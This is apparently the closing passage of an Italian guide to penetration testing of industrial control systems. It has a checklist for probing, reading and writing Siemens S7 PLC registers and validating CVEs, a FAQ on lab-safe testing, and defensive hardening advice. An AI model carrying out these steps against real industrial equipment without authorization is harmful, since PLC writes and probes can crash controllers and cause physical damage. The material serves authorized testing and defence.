- Fingerprint S7 (python-snap7 get_cpu_info) — con test in lab prima
- Lista Data Blocks e blocchi disponibili (non modificare)
- Full upload logica PLC per analisi offline
- Reverse engineering registri critici (test un registro alla volta)
- Test scrittura solo su valori non critici (con restore immediato)
- Documenta impatto fisico di ogni registro modificato
- Valida CVE con IndustrialXPL-Forge (SafeMode prima)
- Verifica livelli di protezione password (Siemens get_protection)
- Test historian access (SQL, OSIsoft PI)
- Report: mappa registri critici + raccomandazioni
17. FAQ #
D: Posso usare Metasploit normalmente su ICS? R: No. Metasploit è aggressivo e può crashare i PLC. Usa ISF o IndustrialXPL-Forge (SafeMode) oppure i moduli specifici ICS di Metasploit con molta cautela.
D: get_cpu_info() di python-snap7 è sicuro? R: No. Su alcuni S7-300 legacy causa crash immediato e richiede power cycle. Testalo sempre prima su Conpot o PLCSim Advanced.
D: Come testo senza rischiare downtime produzione? R: GRFICSv3 è il lab ideale — ha rete completa con PLC reali (OpenPLC) e simulazione 3D. Per Siemens: PLCSim Advanced simula S7-1200/1500 virtuale.
D: Modbus ha un modo per autenticarsi? R: No, nativamente. Modbus Security (RFC-based) esiste ma è rarissimo. Il 99% delle installazioni è plaintext senza auth.
D: Quale certificazione per ICS pentesting? R: GICSP (GIAC) è lo standard. CSSA (Claroty Certified), ICS/SCADA Security Professional (ISASAP). OffSec non ha ancora un corso dedicato ICS.
18. CTA #
Se gestisci infrastruttura OT/ICS:
- Segmenta con Purdue Model — mai IT diretto su Level 1
- Firewall unidirezionale (data diode) tra Level 2 e Level 3
- Whitelist IP: solo engineering WS autorizzate possono scrivere sui PLC
- Log Modbus/S7: ogni write → alert immediato
- Password protection S7: abilita in TIA Portal (Protection Level 3)
- OPC UA: Security Mode = Sign & Encrypt, no “None”
- Historian monitoring: alert su DELETE o UPDATE di eventi recenti
- Asset inventory aggiornato: ogni device OT documentato
- Test autorizzato 2x/anno con lab parallelo
Risorse Esterne #
- MITRE ATT&CK for ICS: Framework ufficiale con 79 tecniche per ambienti industriali, casi reali documentati (https://attack.mitre.org/matrices/ics/)
- Awesome ICS Security (GitHub hslatman): Lista curata di tool, CVE, research paper, pcap di training per ICS security (https://github.com/hslatman/awesome-industrial-control-system-security)








